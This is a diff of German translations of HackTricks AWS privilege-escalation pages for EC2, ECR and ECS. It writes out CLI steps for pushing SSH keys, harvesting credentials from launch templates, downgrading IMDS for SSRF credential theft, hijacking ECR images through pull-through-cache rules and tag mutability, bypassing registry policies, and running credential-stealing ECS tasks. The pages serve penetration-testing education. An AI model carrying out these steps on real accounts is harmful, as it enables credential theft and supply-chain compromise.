+Das Berechtigungs-Set **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **ist nicht ausreichend, um** Privilegien auf eine IAM-Rolle zu eskalieren, weil man, um die in der Launch Configuration oder im Launch Template angegebene Rolle anzuhängen, **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigt** (was eine bekannte privesc ist).

 ### `ec2-instance-connect:SendSSHPublicKey`

-Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSSHPublicKey`** kann einem Benutzer einen ssh-Schlüssel hinzufügen und diesen nutzen, um auf ihn zuzugreifen (wenn er ssh-Zugriff auf die Instanz hat) oder um Privilegien zu eskalieren.
+Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSSHPublicKey`** kann einem Benutzer einen ssh key hinzufügen und diesen verwenden, um darauf zuzugreifen (wenn er ssh access zur Instanz hat) oder um Privilegien zu eskalieren.
 ```bash
 aws ec2-instance-connect send-ssh-public-key \
 --instance-id "$INSTANCE_ID" \
 --instance-os-user "ec2-user" \
 --ssh-public-key "file://$PUBK_PATH"
 ```
-**Potential Impact:** Direkter privesc zu den an laufenden Instanzen angehängten EC2 IAM roles.
+**Potentielle Auswirkungen:** Direkter privesc auf die EC2 IAM roles, die an laufende Instanzen angehängt sind.

 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`

-Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kann **einen ssh key zu einer seriellen Verbindung hinzufügen**. Ist die serielle Konsole nicht aktiviert, benötigt der Angreifer die Berechtigung **`ec2:EnableSerialConsoleAccess`**, um sie zu aktivieren.
+Ein Angreifer mit der Berechtigung **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** kann **einen ssh key zu einer seriellen Verbindung hinzufügen**. Wenn die serielle Konsole nicht aktiviert ist, benötigt der Angreifer die Berechtigung **`ec2:EnableSerialConsoleAccess`**, um sie zu aktivieren.

-Um sich mit dem seriellen Port zu verbinden, muss man außerdem **den Benutzernamen und das Passwort eines Benutzers** auf der Maschine kennen.
+Um eine Verbindung zum seriellen Port herzustellen, muss der Angreifer außerdem **den Benutzernamen und das Passwort eines Benutzers** innerhalb der Maschine kennen.
 ```bash
 aws ec2 enable-serial-console-access

@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \

 ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
 ```
-Auf diese Weise ist es für privesc nicht so nützlich, da man einen Benutzernamen und ein Passwort kennen muss, um es auszunutzen.
+Diese Methode ist für privesc nicht sehr nützlich, da man einen username und password kennen muss, um sie auszunutzen.

-**Mögliche Auswirkung:** (Sehr schwer nachweisbar) Direkter privesc auf die EC2 IAM roles, die an laufende Instanzen angehängt sind.
+**Potential Impact:** (Schwer nachweisbar) Direkter privesc zu den an laufenden EC2-Instanzen angehängten IAM-Rollen.

 ### `describe-launch-templates`,`describe-launch-template-versions`

-Da launch templates Versionierung unterstützen, könnte ein Angreifer mit den Rechten **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** diese ausnutzen, um sensible Informationen zu entdecken, wie z. B. Zugangsdaten, die in user data vorhanden sind. Dazu durchläuft folgendes Script alle Versionen der verfügbaren launch templates:
+Da launch templates eine Versionierung haben, könnte ein Angreifer mit den Berechtigungen **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** diese ausnutzen, um sensible Informationen zu finden, wie z. B. credentials, die in den user data hinterlegt sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren launch templates:
 ```bash
 for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
 do
@@ -248,29 +248,28 @@ echo
 done | grep -iE "aws_|password|token|api"
 done
 ```
-In den obigen Befehlen, obwohl wir bestimmte Muster angeben (`aws_|password|token|api`), kannst du einen anderen regex verwenden, um nach anderen Arten sensibler Informationen zu suchen.
+In den obigen Befehlen geben wir zwar bestimmte Muster an (`aws_|password|token|api`), du kannst jedoch einen anderen regex verwenden, um nach anderen Arten sensibler Informationen zu suchen.

-Angenommen, wir finden `aws_access_key_id` und `aws_secret_access_key`, können wir diese Zugangsdaten verwenden, um uns bei AWS zu authentifizieren.
+Wenn wir `aws_access_key_id` und `aws_secret_access_key` finden, können wir diese Anmeldeinformationen verwenden, um uns bei AWS zu authentifizieren.

-**Potentielle Auswirkung:** Direkte Privilegieneskalation auf IAM-Benutzer.
+**Potential Impact:** Direkte Eskalation von Rechten auf IAM-Benutzer.

-## Quellen
+## Referenzen

 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

-{{#include ../../../../banners/hacktricks-training.md}}




-### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
+### `ec2:ModifyInstanceMetadataOptions` (IMDS-Downgrade, um SSRF-basierten Diebstahl von Zugangsdaten zu ermöglichen)

-Ein Angreifer, der die Möglichkeit hat, `ec2:ModifyInstanceMetadataOptions` auf einer Opfer-EC2-Instanz aufzurufen, kann die IMDS-Schutzmaßnahmen abschwächen, indem er IMDSv1 aktiviert (`HttpTokens=optional`) und den `HttpPutResponseHopLimit` erhöht. Dadurch wird der Instance-Metadata-Endpunkt über übliche SSRF/Proxy-Pfade von auf der Instanz laufenden Anwendungen aus erreichbar. Wenn der Angreifer in einer solchen Anwendung eine SSRF auslösen kann, kann er die Instance-Profile-Anmeldeinformationen abrufen und sich damit seitlich bewegen.
+Ein Angreifer, der die Möglichkeit hat, `ec2:ModifyInstanceMetadataOptions` auf einer betroffenen EC2-Instance aufzurufen, kann die IMDS-Schutzmechanismen abschwächen, indem er IMDSv1 (`HttpTokens=optional`) aktiviert und den `HttpPutResponseHopLimit` erhöht. Dadurch wird der Instance-Metadata-Endpunkt über übliche SSRF-/Proxy-Pfade von Anwendungen, die auf der Instance laufen, erreichbar. Kann der Angreifer in einer solchen Anwendung einen SSRF auslösen, kann er die instance profile credentials abrufen und damit pivotieren.

- Erforderliche Berechtigungen: `ec2:ModifyInstanceMetadataOptions` auf der Zielinstanz (zusätzlich die Möglichkeit, auf dem Host eine SSRF zu erreichen/auszulösen).
- Zielressource: Die laufende EC2-Instanz mit angehängtem Instance Profile (IAM-Rolle).
+- Erforderliche Berechtigungen: `ec2:ModifyInstanceMetadataOptions` auf der Ziel-Instance (plus die Fähigkeit, einen SSRF auf dem Host zu erreichen/auszulösen).
+- Zielressource: Die laufende EC2-Instance mit angehängtem instance profile (IAM role).

-Beispielbefehle:
+Commands example:
 ```bash
 # 1) Check current metadata settings
 aws ec2 describe-instances --instance-id <INSTANCE_ID> \
@@ -297,4 +296,5 @@ aws sts get-caller-identity
 aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
 --http-tokens required --http-put-response-hop-limit 1
 ```
-Potentielle Auswirkung: Diebstahl von Instance-Profile-Zugangsdaten durch SSRF, was zu Privilegieneskalation und lateraler Bewegung mit den EC2-Rollenberechtigungen führt.
+Mögliche Auswirkungen: Diebstahl von instance profile credentials über SSRF, was zu privilege escalation und lateral movement mit den EC2 role permissions führen kann.
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
@@ -6,21 +6,21 @@

 ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`

-Ein attacker mit den **`ecr:GetAuthorizationToken`** und **`ecr:BatchGetImage`** kann sich bei ECR anmelden und Images herunterladen.
+Ein Angreifer mit den Rechten **`ecr:GetAuthorizationToken`** und **`ecr:BatchGetImage`** kann sich bei ECR anmelden und Images herunterladen.

-Für weitere Informationen, wie man Images herunterlädt:
+For more info on how to download images:

 {{#ref}}
 ../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
 {{#endref}}

-**Potential Impact:** Indirect privesc durch Abfangen sensibler Informationen im Traffic.
+**Mögliche Auswirkungen:** Indirekte privesc durch Abfangen sensibler Informationen im Netzwerkverkehr.

 ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`

-Ein attacker mit all diesen Berechtigungen **kann sich bei ECR anmelden und Images hochladen**. Dies kann nützlich sein, um Privilegien auf andere Umgebungen zu eskalieren, in denen diese Images verwendet werden.
+Ein Angreifer mit all diesen Berechtigungen **kann sich bei ECR anmelden und Images hochladen**. Dies kann nützlich sein, um Berechtigungen in anderen Umgebungen zu eskalieren, in denen diese Images verwendet werden.

-Um zu lernen, wie man ein neues Image hochlädt/aktualisiert, siehe:
+To learn how to upload a new image/update one, check:

 {{#ref}}
 ../../aws-services/aws-eks-enum.md
@@ -32,14 +32,14 @@ Wie der vorherige Abschnitt, aber für öffentliche Repositories.

 ### `ecr:SetRepositoryPolicy`

-Ein attacker mit dieser Berechtigung könnte die **repository** **policy** **ändern**, um sich selbst (oder sogar allen) **Lese/Schreib-Zugriff** zu gewähren.\
+Ein Angreifer mit dieser Berechtigung könnte die **Repository** **Policy** **ändern**, um sich selbst (oder sogar allen) **Lese-/Schreibzugriff** zu gewähren.\
 Zum Beispiel wird in diesem Beispiel Lesezugriff für alle gewährt.
 ```bash
 aws ecr set-repository-policy \
 --repository-name <repo_name> \
 --policy-text file://my-policy.json
 ```
-Inhalt von `my-policy.json`:
+Inhalt der Datei `my-policy.json`:
 ```json
 {
 "Version": "2008-10-17",
@@ -59,8 +59,8 @@ Inhalt von `my-policy.json`:
 ```
 ### `ecr-public:SetRepositoryPolicy`

-Wie im vorherigen Abschnitt, aber für öffentliche Repositories.\
-Ein Angreifer kann die **Repository-Richtlinie** eines ECR Public repository ändern, um unbefugten öffentlichen Zugriff zu gewähren oder seine Privilegien zu eskalieren.
+Wie der vorherige Abschnitt, aber für öffentliche Repositories.\
+Ein Angreifer kann **die Repository-Richtlinie** eines ECR Public repository ändern, um unbefugten öffentlichen Zugriff zu gewähren oder seine Privilegien zu eskalieren.
 ```bash
 # Create a JSON file with the malicious public repository policy
 echo '{
@@ -87,32 +87,26 @@ echo '{
 # Apply the malicious public repository policy to the ECR Public repository
 aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
 ```
-**Potential Impact**: Unbefugter öffentlicher Zugriff auf das ECR Public repository, wodurch jeder Benutzer Images pushen, pullen oder löschen kann.
+**Potentielle Auswirkungen**: Unerlaubter öffentlicher Zugriff auf das ECR Public repository, wodurch jeder Benutzer push, pull, or delete images durchführen kann.

 ### `ecr:PutRegistryPolicy`

-Ein Angreifer mit dieser Berechtigung könnte die **Registry-Policy** **ändern**, um sich selbst, sein Konto (oder sogar alle) **Lese-/Schreibzugriff** zu gewähren.
+Ein Angreifer mit dieser Berechtigung könnte die **Registry-Richtlinie** **ändern**, um sich selbst und seinem Konto (oder sogar allen) **Lese-/Schreibzugriff** zu gewähren.
 ```bash
 aws ecr set-repository-policy \
 --repository-name <repo_name> \
 --policy-text file://my-policy.json
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
-
 ### ecr:CreatePullThroughCacheRule

-Missbrauche ECR Pull Through Cache (PTC)-Regeln, um einen attacker-controlled upstream-Namespace an ein vertrauenswürdiges privates ECR-Präfix zu binden. Dadurch erhalten Workloads, die vom privaten ECR ziehen, transparent attacker images, ohne dass ein Push ins private ECR erforderlich ist.
+Missbrauche ECR Pull Through Cache (PTC)-Regeln, um einen vom Angreifer kontrollierten Upstream-Namespace auf ein vertrauenswürdiges privates ECR-Präfix abzubilden. Dadurch erhalten Workloads, die vom privaten ECR pullen, transparent Angreifer-Images, ohne dass ein push in das private ECR nötig ist.

- Erforderliche Berechtigungen: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Wenn ECR Public als upstream verwendet wird: ecr-public:* zum Erstellen/Pushen in das öffentliche Repository.
+- Erforderliche Berechtigungen: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Wenn ECR Public als Upstream verwendet wird: ecr-public:* zum Erstellen/Pushen in das public repo.
 - Getesteter Upstream: public.ecr.aws

 Schritte (Beispiel):

-1. Bereite attacker image in ECR Public vor
+1. Bereite ein Angreifer-Image in ECR Public vor
 # Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
 docker login public.ecr.aws/<public_alias>
 docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
@@ -121,24 +115,24 @@ docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
 2. Erstelle die PTC-Regel im privaten ECR, um ein vertrauenswürdiges Präfix auf das öffentliche Registry abzubilden
 aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

-3. Ziehe das attacker image über den privaten ECR-Pfad (es wurde kein Push in das private ECR durchgeführt)
+3. Pull das Angreifer-Image über den privaten ECR-Pfad (kein push in das private ECR wurde durchgeführt)
 docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
 docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
 docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

-Potential Impact: Supply-chain compromise durch Hijacking interner Image-Namen unter dem gewählten Präfix. Jede Workload, die Images aus dem privaten ECR mit diesem Präfix zieht, erhält attacker-controlled Content.
+Mögliche Auswirkungen: Kompromittierung der Supply-Chain durch Übernahme interner Image-Namen unter dem gewählten Präfix. Jede Workload, die Images aus dem privaten ECR mit diesem Präfix pullt, erhält Angreifer-kontrollierte Inhalte.

 ### `ecr:PutImageTagMutability`

-Missbrauche diese Berechtigung, um ein Repository mit tag immutability auf mutable zu setzen und vertrauenswürdige Tags (z. B. latest, stable, prod) mit attacker-controlled Content zu überschreiben.
+Missbrauche diese Berechtigung, um ein Repository mit unveränderlichen Tags auf 'mutable' zu setzen und vertrauenswürdige Tags (z. B. latest, stable, prod) mit Angreifer-kontrolliertem Inhalt zu überschreiben.

- Erforderliche Berechtigungen: `ecr:PutImageTagMutability` plus Push-Funktionen (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Auswirkung: Supply-chain compromise durch stilles Ersetzen immutable Tags, ohne die Tag-Namen zu ändern.
+- Erforderliche Berechtigungen: `ecr:PutImageTagMutability` plus Push-Fähigkeiten (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
+- Auswirkung: Kompromittierung der Supply-Chain durch stilles Ersetzen unveränderlicher Tags, ohne die Tag-Namen zu ändern.

 Schritte (Beispiel):

 <details>
-<summary>Einen immutable Tag vergiften, indem man die Mutability umschaltet</summary>
+<summary>Ein unveränderliches Tag vergiften, indem die Mutability umgeschaltet wird</summary>
 ```bash
 REGION=us-east-1
 REPO=ht-immutable-demo-$RANDOM
@@ -158,14 +152,14 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
 </details>


-#### Global registry hijack über ROOT Pull-Through Cache-Regel
+#### Global registry hijack via ROOT Pull-Through Cache rule

-Erstellen Sie eine Pull-Through Cache (PTC)-Regel mit dem speziellen `ecrRepositoryPrefix=ROOT`, um die Root des privaten ECR-Registries auf ein upstream öffentliches Registry (z. B. ECR Public) abzubilden. Jeder Pull zu einem nicht existierenden Repository im privaten Registry wird transparent vom Upstream bedient, wodurch supply-chain hijacking möglich ist, ohne in das private ECR zu pushen.
+Erstelle eine Pull-Through Cache (PTC) rule mit dem speziellen `ecrRepositoryPrefix=ROOT`, um die Root des privaten ECR-Registry auf ein upstream-öffentliches Registry (z. B. ECR Public) abzubilden. Jeder Pull auf ein nicht vorhandenes Repository in der privaten Registry wird transparent vom Upstream bedient, was supply-chain hijacking ermöglicht, ohne in das private ECR pushen zu müssen.

 - Erforderliche Berechtigungen: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
- Auswirkung: Pulls zu `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` gelingen und erstellen automatisch private Repositories, die vom Upstream stammen.
+- Auswirkung: Pulls auf `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` gelingen und erstellen automatisch private Repositories, die vom Upstream stammen.

-> Hinweis: Bei `ROOT`-Regeln `--upstream-repository-prefix` weglassen. Die Angabe davon führt zu einem Validierungsfehler.
+> Hinweis: Bei `ROOT`-Regeln `--upstream-repository-prefix` weglassen. Wird es angegeben, führt das zu einem Validierungsfehler.

 <details>
 <summary>Demo (us-east-1, upstream public.ecr.aws)</summary>
@@ -197,17 +191,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
 ```
 </details>

-### `ecr:PutAccountSetting` (Herabstufen von `REGISTRY_POLICY_SCOPE`, um Registry-Policy-Denies zu umgehen)
+### `ecr:PutAccountSetting` (Herabstufen von `REGISTRY_POLICY_SCOPE`, um registry policy Denies zu umgehen)

-Missbrauche `ecr:PutAccountSetting`, um den Registry-Policy‑Scope von `V2` (Policy angewendet auf alle ECR-Aktionen) auf `V1` (Policy angewendet nur auf `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`) zu wechseln. Wenn eine restriktive Registry-Policy Deny Aktionen wie `CreatePullThroughCacheRule` blockiert, entfernt das Herabstufen auf `V1` diese Durchsetzung, sodass identity‑policy Allows wirksam werden.
+Missbrauche `ecr:PutAccountSetting`, um den Registry-Policy-Scope von `V2` (Policy, die auf alle ECR-Aktionen angewendet wird) auf `V1` (Policy, die nur auf `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage` angewendet wird) zu wechseln. Wenn eine restriktive registry policy Deny Aktionen wie `CreatePullThroughCacheRule` blockiert, entfernt das Herabstufen auf `V1` diese Durchsetzung, sodass identity-policy Allows wirksam werden.

 - Erforderliche Berechtigungen: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Auswirkung: Möglichkeit, ECR-Aktionen auszuführen, die zuvor durch eine Registry-Policy Deny blockiert wurden (z. B. Erstellen von PTC-Regeln), indem der Scope vorübergehend auf `V1` gesetzt wird.
+- Auswirkung: Möglichkeit, zuvor durch eine registry policy Deny blockierte ECR-Aktionen (z. B. create PTC rules) auszuführen, indem der Scope vorübergehend auf `V1` gesetzt wird.

 Schritte (Beispiel):

 <details>
-<summary>Registry-Policy-Deny bei `CreatePullThroughCacheRule` umgehen, indem auf `V1` gewechselt wird</summary>
+<summary>Registry policy Deny bei CreatePullThroughCacheRule umgehen, indem auf V1 gewechselt wird</summary>
 ```bash
 REGION=us-east-1
 ACCT=$(aws sts get-caller-identity --query Account --output text)
@@ -266,3 +260,5 @@ fi
 aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
 ```
 </details>
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
@@ -4,7 +4,7 @@

 ## ECS

-Mehr **Informationen zu ECS** in:
+Mehr **Infos über ECS** in:

 {{#ref}}
 ../../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@ Mehr **Informationen zu ECS** in:

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

-Ein Angreifer, der die Berechtigung `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS missbraucht, kann **eine neue Task-Definition erstellen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und **diese ausführen**.
+Ein Angreifer, der die Berechtigungen `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS missbraucht, kann eine neue Task-Definition mit einem bösartigen Container erstellen, der die Metadaten-Anmeldeinformationen stiehlt, und diese ausführen.

 {{#tabs }}
 {{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1

 {{#tab name="Webhook" }}

-Erstelle einen webhook bei einem Dienst wie webhook.site
+Erstelle einen webhook mit einer Seite wie webhook.site
 ```bash

 # Create file container-definition.json
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1

 {{#endtabs }}

-**Potential Impact:** Direktes privesc zu einer anderen ECS-Rolle.
+**Potential Impact:** Direkter privesc zu einer anderen ECS-Rolle.

 ### `iam:PassRole`,`ecs:RunTask`
-Ein attacker, der über die Berechtigungen `iam:PassRole` und `ecs:RunTask` verfügt, kann eine neue ECS-Task starten und dabei die **execution role**, **task role** und den **command**-Wert des Containers ändern. Der `ecs run-task` CLI-Befehl enthält die Option `--overrides`, mit der zur Laufzeit `executionRoleArn`, `taskRoleArn` und das `command` des Containers geändert werden können, ohne die Task Definition anzufassen.
+Ein Angreifer, der über die Berechtigungen `iam:PassRole` und `ecs:RunTask` verfügt, kann eine neue ECS-Task starten mit veränderten **execution role**, **task role** und dem **command** des Containers. Der `ecs run-task` CLI-Befehl enthält die Option `--overrides`, die es ermöglicht, zur Laufzeit `executionRoleArn`, `taskRoleArn` und das `command` des Containers zu ändern, ohne die Task-Definition anzupassen.

-Die angegebenen IAM-Rollen für `taskRoleArn` und `executionRoleArn` müssen in ihrer Trust-Policy zulassen bzw. darauf vertrauen, dass sie von `ecs-tasks.amazonaws.com` übernommen (assumed) werden.
+Die angegebenen IAM-Rollen für `taskRoleArn` und `executionRoleArn` müssen in ihrer Trust-Policy `ecs-tasks.amazonaws.com` vertrauen/erlauben, von diesem übernommen zu werden.

-Außerdem muss der attacker wissen:
- ECS-Cluster-Name
- VPC Subnetz
- Security Group (Wenn keine Security Group angegeben ist, wird die Standard-Security Group verwendet)
- Task Definition Name und Revision
- Name des Containers
+Außerdem muss der Angreifer wissen:
+- ECS cluster name
+- VPC Subnet
+- Security group (Wenn keine Security group angegeben ist, wird die Standard-Security group verwendet)
+- Task Definition Name and revision
+- Name of the Container
 ```bash
 aws ecs run-task \
 --cluster <cluster-name> \
@@ -105,9 +105,9 @@ aws ecs run-task \
 ]
 }'
 ```
-Im obigen Code-Snippet überschreibt ein attacker nur den Wert `taskRoleArn`. Der attacker muss jedoch die Berechtigung `iam:PassRole` sowohl für die in dem Befehl angegebene `taskRoleArn` als auch für die in der Task-Definition angegebene `executionRoleArn` besitzen, damit der Angriff möglich ist.
+Im obenstehenden Code-Snippet überschreibt ein Angreifer nur den `taskRoleArn`-Wert. Damit der Angriff jedoch stattfinden kann, muss der Angreifer die Berechtigung `iam:PassRole` sowohl für den im Befehl angegebenen `taskRoleArn` als auch für den in der Task-Definition angegebenen `executionRoleArn` besitzen.

-Wenn die IAM-Rolle, die der attacker übergeben kann, genügend Rechte hat, um ein Image aus ECR zu ziehen und die ECS-Task zu starten (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), dann kann der attacker dieselbe IAM-Rolle sowohl für `executionRoleArn` als auch für `taskRoleArn` im `ecs run-task`-Befehl angeben.
+Wenn die IAM-Rolle, die der Angreifer weitergeben kann, ausreichend Berechtigungen hat, um ein ECR-Image zu pullen und die ECS-Task zu starten (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), dann kann der Angreifer dieselbe IAM-Rolle sowohl für `executionRoleArn` als auch für `taskRoleArn` im `ecs run-task`-Befehl angeben.
 ```sh
 aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
 {
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
 ]
 }'
 ```
-**Potentielle Auswirkungen:** Direkter privesc auf jede ECS task role.
+**Potential Impact:** Direkter privesc auf jede ECS-Task-Rolle.

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

-Wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS missbraucht, **eine neue Task-Definition erzeugen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und **diesen ausführen**.\
-In diesem Fall wird jedoch eine Container-Instanz benötigt, um die bösartige Task-Definition auszuführen.
+Wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS missbraucht, **eine neue Task-Definition erzeugen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und diesen **ausführen**.\
+Allerdings muss in diesem Fall eine Container-Instanz vorhanden sein, um die bösartige Task-Definition auszuführen.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**Potentielle Auswirkung:** Direkter privesc auf jede ECS-Rolle.
+**Potenzielle Auswirkung:** Direkter privesc auf jede ECS-Rolle.

-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` 

-Wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** in ECS ausnutzt, **eine neue Task-Definition erstellen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und diesen ausführen, indem er einen neuen Service mit mindestens 1 laufendem Task erstellt.
+Wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** in ECS ausnutzt, eine **neue task definition** mit einem **bösartigen container** erzeugen, der die **metadata credentials** stiehlt, und diese ausführen, indem er einen neuen **service** erstellt, der mindestens 1 **task** ausführt.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 --service <SERVICE NAME> \
 --task-definition <NEW TASK DEFINITION NAME>
 ```
-**Mögliche Auswirkungen:** Direkter privesc auf jede ECS-Rolle.
+**Potential Impact:** Direkter privesc zu jeder ECS role.

-### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`)
+### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

-Tatsächlich ist es mit genau diesen Berechtigungen möglich, overrides zu verwenden, um beliebige Befehle in einem Container mit einer beliebigen Rolle auszuführen, etwa so:
+Tatsächlich ist es bereits mit diesen Berechtigungen möglich, overrides zu verwenden, um beliebige Befehle in einem container mit einer beliebigen role auszuführen, etwa so:
 ```bash
 aws ecs run-task \
 --task-definition "<task-name>" \
@@ -181,16 +181,16 @@ aws ecs run-task \
 --cluster <cluster-name> \
 --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
 ```
-**Mögliche Auswirkungen:** Direkter privesc auf jede ECS role.
+**Potenzielle Auswirkungen:** Direkter privesc zu jeder ECS-Rolle.

 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

-Dieses Szenario ähnelt den vorherigen, jedoch **ohne** die **`iam:PassRole`** Berechtigung.\
-Das ist weiterhin interessant, denn wenn du einen beliebigen Container ausführen kannst, selbst ohne role, könntest du **run a privileged container to escape** und **steal the EC2 IAM role** sowie die **other ECS containers roles**, die auf dem Node laufen.\
-Du könntest sogar **force other tasks to run inside the EC2 instance** kompromittieren, um deren Anmeldeinformationen zu stehlen (wie in der [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) besprochen).
+Dieses Szenario ist wie die vorherigen, aber **ohne** die **`iam:PassRole`** Berechtigung.\
+Das ist weiterhin interessant, denn wenn Sie einen beliebigen Container ausführen können, selbst wenn dieser keine Rolle hat, könnten Sie **einen privilegierten Container starten, um auf den Knoten zu entkommen** und **die EC2 IAM-Rolle** sowie **die Rollen der anderen ECS-Container**, die auf dem Knoten laufen, stehlen.\
+Sie könnten sogar **andere Tasks dazu zwingen, innerhalb der EC2-Instanz zu laufen**, die Sie kompromittieren, um deren Anmeldeinformationen zu stehlen (wie im [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) besprochen).

 > [!WARNING]
-> Dieser Angriff ist nur möglich, wenn der **ECS cluster is using EC2** instances und nicht Fargate.
